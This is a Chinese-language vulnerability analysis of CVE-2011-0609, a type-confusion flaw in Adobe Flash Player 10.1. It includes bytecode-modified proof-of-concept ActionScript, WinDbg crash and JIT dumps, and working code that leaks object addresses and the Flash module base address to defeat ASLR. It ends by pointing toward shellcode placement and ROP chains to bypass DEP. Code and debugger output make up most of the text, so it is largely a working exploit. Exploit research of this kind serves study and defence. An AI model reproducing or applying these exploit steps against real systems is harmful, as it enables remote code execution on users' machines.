首页 > 代码库 > Analysis of CVE-2011-0609 and Advance Exploit Technology

Analysis of CVE-2011-0609 and Advance Exploit Technology

参考:

[1].http://www.vupen.com/blog/20110326.Technical_Analysis_and_Win7_Exploitation_Adobe_Flash_0Day_CVE-2011-0609.php
相关工具:
[1].SWFTools
[2].WinRABCDAsm\RABCDAsm
[3].Windbg

0×01.工具介绍
SWFTools用来编译as脚本,编译as脚本命令:
as3compile.exe poc.as -o poc.swf
注意生成文件的路径。
WinRABCDAsm和RABAsm是一款可以直接修改ByteCode的工具,在调试Flash是很好用。WinRABCDAsm是RABAsm的GUI界面,用C#编写,所以运行时首先
需要安装微软.Net Frame Work4.0 ,安装完成后需要将RABAsm的目录添加到Path环境变量,因为WinRABCDAsm会调用RABAsm目录里面的exe文件,没有
环境变量会爆各种错误。完成后就可以通过WinRABCDAsm.exe启动,将要修改的SWF拖入,找到要修改的类和方法, 双击进行修改:

修改完成后点击Reassemble可将字节码重新打包编译成swf文件(修改在原文件上,注意备份原文件)
WinDbg就不用说了.

0×02.关于CVE-2011-0609
该漏洞的利用方式五花八门,通过IE当然是第一种,后来看了下F-Secure爆出通过Excel利用该漏洞的攻击样本,后面Vupen又写文章简单描述了下该漏洞的高级利用方式(without Spary ,without javascript),这里我们的POC也是参考该文章。

0×3. 漏洞成因
正常的AS如下:

package poc{        import flash.display.MovieClip;        import flash.utils.ByteArray;        public class safe extends MovieClip          {                public function bla():ByteArray                 {                        return new ByteArray();                }                public function safe()                 {                        var tl:ByteArray = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();                        var t:String = "AAAAAAAAAA&AAAAAAAAAAAAA";                        t.length;                }        }}

将上面代码保存成as文件,用SWFTools编译成swf,再用WinRABCDAsm修改字节码。修改前的字节码:

 
     getlocal0     constructsuper      0     pushbyte            1     pushbyte            0     equals     iffalse             L9     getlocal0     callproperty        QName(PackageNamespace(""), "bla"), 0     jump                L21L9:     label     pushbyte            1     pushbyte            0     equals     iffalse             L17     getlocal0     callproperty        QName(PackageNamespace(""), "bla"), 0     jump                L20L17:     label     getlocal0     callproperty        QName(PackageNamespace(""), "bla"), 0L20:     labelL21:     label     setlocal            1     pushstring          "AAAAAAAAAA&AAAAAAAAAAAAA"     setlocal            2     getlocal            2     getproperty         QName(PackageNamespace(""), "length")     pop     kill                1     kill                2     returnvoid    end ; code   end ; body  end ; method

修改后的字节码:

修改的地方很明显,将jump L20 这条转跳指令修改到Jmp L22,L22是原始指令的后4条。
Jump L20前的指令用来调用函数bla,该函数返回值为ByteArray,后面的几条指令是获取字符串的length属性,但是修改后的字节码很明显跳过了push
一个字符串的操作,导致前面调用bla返回的ByteArray保存在栈中,这样在获取length属性时获取的就是ByteArray的length,而ByteArry显然不同于
String类型,这样导致一个可能的无效的内存访问。

用以下Html页面加载Flash,这里Flash插件的版本为Adobe Flash Player 10.1.85.3

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="100%" height="100%" id="FlashExp">                <param name="movie" value="CVE_2011_0609.swf" />                <param name="quality" value="high" />                <param name="bgcolor" value="#ffffff" />                <param name="allowScriptAccess" value="sameDomain" />                <param name="allowFullScreen" value="true" /></object>

浏览器确实Crash掉了

挂载Windbg时崩溃点信息如下:

0599cfa2 ffd0            call    eax0599cfa4 83c40c          add     esp,0Ch0599cfa7 8945f0          mov     dword ptr [ebp-10h],eax0599cfaa c745f0b0e59105  mov     dword ptr [ebp-10h],591E5B0h0599cfb1 8b45f0          mov     eax,dword ptr [ebp-10h]0599cfb4 85c0            test    eax,eax0599cfb6 742c            je      0599cfe40599cfb8 8b4808          mov     ecx,dword ptr [eax+8]0599cfbb 8b89a0000000    mov     ecx,dword ptr [ecx+0A0h]0599cfc1 8d55c8          lea     edx,[ebp-38h]0599cfc4 8945c8          mov     dword ptr [ebp-38h],eax0599cfc7 8b01            mov     eax,dword ptr [ecx]  ds:0023:616c660b=????????0599cfc9 52              push    edx0599cfca 6a00            push    00599cfcc 51              push    ecx0599cfcd ffd0            call    eax

根据崩溃点的信息,可以看到此时在AVM的Jit Code中,ecx是一个无效的内存,这里ecx来自eax,而eax的值通过jit生成为0x591E5B0
下面看看eax这个地址到底是什么东西:

0:005> dd eax0591e5b0  628c2f18 40000002 0580804f 000000000591e5c0  00000018 0000001a 628c2f18 000000020591e5d0  6283623c 00000000 00000004 000000020591e5e0  628c3468 00000002 058f2080 0578bd780591e5f0  058fadf1 18000001 628c3658 000000020591e600  05919040 058fbcd0 05921238 05813eb00591e610  628c2f18 00000003 62820f99 000000000591e620  00000003 00000012 628c2f18 000000030:005> dc 0580804f 0580804f  41414141 41414141 41264141 41414141  AAAAAAAAAA&AAAAA0580805f  41414141 41414141 74794209 72724165  AAAAAAAA.ByteArr0580806f  440d7961 6c707369 624f7961 7463656a  ay.DisplayObject0580807f  73694416 79616c70 656a624f 6f437463  .DisplayObjectCo0580808f  6961746e 0f72656e 6e657645 73694474  ntainer.EventDis0580809f  63746170 11726568 65746e49 74636172  patcher.Interact058080af  4f657669 63656a62 6f4d0974 43656976  iveObject.MovieC058080bf  0670696c 656a624f 53067463 74697270  lip.Object.Sprit

可以看到eax+8的位置保存的是我们前面的字符串的内容的指针。

现在记住崩溃地址,用修改前的POC进行对比。

修改前的生成的JIt Code如下:

05d19fab 51              push    ecx05d19fac ffd0            call    eax05d19fae 83c40c          add     esp,0Ch05d19fb1 8bc8            mov     ecx,eax05d19fb3 8b45c4          mov     eax,dword ptr [ebp-3Ch] ss:0023:025fd258=05c4003005d19fb6 894df0          mov     dword ptr [ebp-10h],ecx05d19fb9 8b4064          mov     eax,dword ptr [eax+64h]05d19fbc 8b4008          mov     eax,dword ptr [eax+8]05d19fbf 8b400c          mov     eax,dword ptr [eax+0Ch]05d19fc2 8b4840          mov     ecx,dword ptr [eax+40h]05d19fc5 8d55c8          lea     edx,[ebp-38h]05d19fc8 c745c8b015ca05  mov     dword ptr [ebp-38h],5CA15B0h05d19fcf 8b01            mov     eax,dword ptr [ecx]05d19fd1 52              push    edx05d19fd2 6a00            push    005d19fd4 51              push    ecx05d19fd5 ffd0            call    eax

这里5CA15B0h为String对象。其偏移为0×8的位置保存字符串的内容,偏移0×10位置保存字符串的长度,那么对比前面的内存Dump信息,可知两次
崩溃的对象均为String对象,不同的是两次生成的JIT Code。
我们来看看ByteArray 对象在内存中是怎样布局的:

package poc{        import flash.display.MovieClip;        import flash.utils.ByteArray;        public class safe extends MovieClip          {                public function bla():ByteArray                 {                        return new ByteArray();                }                public function safe()                 {                        var t2:ByteArray =new ByteArray();                        t2.writeInt(1094795585); //0x41414141                        t2.writeInt(1094795585);                        t2.writeInt(1094795585);                        t2.writeInt(1094795585);                        t2.length;                }        }}

重新编译一个新的Flash文件并用html调用,这里仍然需要注意的是断点,我们根据crash的地址得到的jit code返回地址前的一个call就是jit call,所有的jit代码都会经过这个call进行调用。因此给该函数下端,大概经过5次,即第6次时会执行到actionscript中的safe函数:
得到jit code如下:

可以很清楚的看到push 0×41414141的代码,我们最后得到ByteArray的结构:

这里比较疑惑的是我得到的ByteArray结构和Vupen在Blog上写的并不完全相同。
紧接看看获取length属性的JIt Code

是不是发现这里和前面修改过的flash POC crash时的代码很相似?
没错!前面的崩溃代码就是在取一个ByteArray结构的length属性,而实际上那个对象并不是ByteArray,而是一个String对象!
因此得知,修改后的Byte Code被AVM解析时,发生了类型混淆,将本来应该生成String对象length操作的Jit Code,却混淆为ByteArray,由于两种结构完全不同,因此访问到了一块无效的内存。

0×04 漏洞利用
为了绕过ASLR,需要泄漏flash ocx控件的基地址。
泄漏基地址的过程分为两部:
1.泄漏ByteArray地址
2.泄漏ByteArray结构的虚函数地址
第一步可以通过混淆string类型和ByteArray类型实现,具体代码如下

 public function bla():String                 {                        return new String("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");                }                public function blb():ByteArray                {                        var t:ByteArray = new ByteArray();                        t.writeInt(1094795585);                        t.writeInt(1094795585);                        t.writeInt(1094795585);                        t.writeInt(1094795585);                        return t;                }                public function main()                 {                        var tl:String = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();                        var t:ByteArray = blb();                        var o:uint = t.length;//t is confused as String Object                        trace("[output] ByteArray Object:0x"+o.toString(16));                }

下图红色标注为ByteArray偏移0×10位置的指针。

返回结果:

接下来泄漏ByteArray结构的虚函数地址的代码如下:

package poc{        import flash.display.MovieClip;        import flash.utils.ByteArray;        import flash.external.ExternalInterface;        public class safe extends MovieClip         {                public function blc():Object                {                    return null;                }                public function bld(param:uint):uint                {                    var a:uint=parseInt(param);                    a=a|0x00000007;                    return a;                }                public function safe()                {                        var t2:Object= (1 == 0) ? blc() : (1 == 0) ? blc() : blc();                        var t3:uint=0x41414141;                        var t0:uint=bld(t3);                        var fakenumber:Number=new Number(t0);//t0 is confused as Number Object                        trace("fakeunmber is :0x"+fakenumber.toString(16));                }        }}

上面的代码用来将0×41414141的地址混淆成一个Number对象,其中safe函数生成的jit code如下:

04c59ec9 8945f0          mov     dword ptr [ebp-10h],eax04c59ecc eb71            jmp     04c59f3f04c59ece 8b45c8          mov     eax,dword ptr [ebp-38h]04c59ed1 8b7008          mov     esi,dword ptr [eax+8]04c59ed4 8bb6d4020000    mov     esi,dword ptr [esi+2D4h]04c59eda 8d8d64ffffff    lea     ecx,[ebp-9Ch]04c59ee0 898564ffffff    mov     dword ptr [ebp-9Ch],eax04c59ee6 8b06            mov     eax,dword ptr [esi]04c59ee8 51              push    ecx04c59ee9 6a00            push    004c59eeb 56              push    esi04c59eec ffd0            call    eax {Flash10h!CreateInstance+0x150b6c (6524c370)}==============================>   bld()04c59eee 83c40c          add     esp,0Ch04c59ef1 8945f0          mov     dword ptr [ebp-10h],eax04c59ef4 8b75f0          mov     esi,dword ptr [ebp-10h]04c59ef7 8975d0          mov     dword ptr [ebp-30h],esi04c59efa c745a880e3a604  mov     dword ptr [ebp-58h],4A6E380h04c59f01 c745d841414141  mov     dword ptr [ebp-28h],41414141h04c59f08 c745ac00e7a604  mov     dword ptr [ebp-54h],4A6E700h04c59f0f 8b45c8          mov     eax,dword ptr [ebp-38h]04c59f12 8b7008          mov     esi,dword ptr [eax+8]04c59f15 8bb6d8020000    mov     esi,dword ptr [esi+2D8h]04c59f1b 8d8d60ffffff    lea     ecx,[ebp-0A0h]04c59f21 898560ffffff    mov     dword ptr [ebp-0A0h],eax04c59f27 c78564ffffff41414141 mov dword ptr [ebp-9Ch],41414141h04c59f31 8b06            mov     eax,dword ptr [esi]04c59f33 51              push    ecx04c59f34 6a01            push    104c59f36 56              push    esi04c59f37 ffd0            call    eax                            ==============================>   bld()04c59f39 83c40c          add     esp,0Ch04c59f3c 8945f0          mov     dword ptr [ebp-10h],eax04c59f3f 8b75f0          mov     esi,dword ptr [ebp-10h]04c59f42 8975e0          mov     dword ptr [ebp-20h],esi04c59f45 c745b080e3a604  mov     dword ptr [ebp-50h],4A6E380h04c59f4c 6a00            push    004c59f4e 68380fa204      push    4A20F38h04c59f53 53              push    ebx04c59f54 e857a45e60      call    Flash10h!CreateInstance+0x148bac (652443b0)04c59f59 83c40c          add     esp,0Ch04c59f5c 8bd6            mov     edx,esi04c59f5e 8b75a0          mov     esi,dword ptr [ebp-60h]04c59f61 8b405c          mov     eax,dword ptr [eax+5Ch]04c59f64 83c801          or      eax,104c59f67 8d8d60ffffff    lea     ecx,[ebp-0A0h]04c59f6d c78560ffffff01000000 mov dword ptr [ebp-0A0h],104c59f77 899564ffffff    mov     dword ptr [ebp-9Ch],edx04c59f7d 51              push    ecx04c59f7e 6a01            push    104c59f80 50              push    eax04c59f81 53              push    ebx04c59f82 e8c9ae5f60      call    Flash10h!CreateInstance+0x15964c (65254e50)     ================== > Number()04c59f87 83c410          add     esp,10h

Windbg调试时断在Number()处:

0:005> peax=04aab711 ebx=04c4fa30 ecx=026cd3d4 edx=41414147 esi=00000000 edi=04a2f000eip=04c84ec2 esp=026cd3ac ebp=026cd484 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=0004020604c84ec2 e889ff6760      call    Flash10h!CreateInstance+0x15964c (65304e50)0:005> peax=41414147 ebx=04c4fa30 ecx=00000006 edx=026cd3d4 esi=00000000 edi=04a2f000eip=04c84ec7 esp=026cd3ac ebp=026cd484 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=0004024604c84ec7 83c410          add     esp,10h

返回的eax值为41414147即伪造的Number对象地址。如果不理解为何在bld函数中有个xor 7的操作,请看HaiFei Li的文章。
接下来就可以将0×41414141替换成第一步中泄漏的ByteArray的地址,并读取混淆后的虚函数地址,之后根据虚函数就可以获取基址了,
这里需要注意的是在同一个as文件中进行混淆时发现并没有成功,不知道何原因,将其放置在两个as文件中,如下:

main.as:

package poc{        import flash.display.MovieClip;        import flash.utils.ByteArray;        import flash.external.ExternalInterface;        public class main extends MovieClip          {                               public function bla():String                 {                        return new String("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");                }                public function blb():ByteArray                {                        var t:ByteArray = new ByteArray();                        t.writeInt(1094795585);                        t.writeInt(1094795585);                        t.writeInt(1094795585);                        t.writeInt(1094795585);                        return t;                }                public function main()                 {                        var tl:String = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();                        var t:ByteArray = blb();                        var o:uint = t.length;//t is confused as String Object                        trace("[output] ByteArray Object:0x"+o.toString(16));                        var base:uint=egg.get_base(o);                        trace("[output] Virtual function Address:0x"+base.toString(16));                        trace("[output] Flash Module Base Address:0x"+(base-0x00489b94).toString(16));                }        }}

egg.as:

package poc {        import flash.utils.ByteArray;        public class egg        {                            static public function blc():Object                {                    return null;                }                static public function bld(param:uint):uint                {                    var a:uint=param;                    a=a|0x00000007;                    return a;                }                static public function get_base(param:uint):uint                {                        trace("[output] arg from main:0x"+param.toString(16));                        var t2:Object= (1 == 0) ? blc() : (1 == 0) ? blc() : blc();                        var t3:uint=bld(param);                        var fakenumber:Number=new Number(t3);                       // trace("[output] ByteArray Object:0x"+fakenumber.toString(16));                        var b:ByteArray = new ByteArray();                        b.writeDouble(fakenumber);                        var res:uint;                        res = b[4]*0x1000000 + b[5]*0x10000 + b[6]*0x100 + b[7];                        return res;                }        }    }

运行效果如下:

这样我们就可以获取模块的基址,通过同样的方式来获取shellcode地址,构造ROP链,ByPass DEP…

 

Analysis of CVE-2011-0609 and Advance Exploit Technology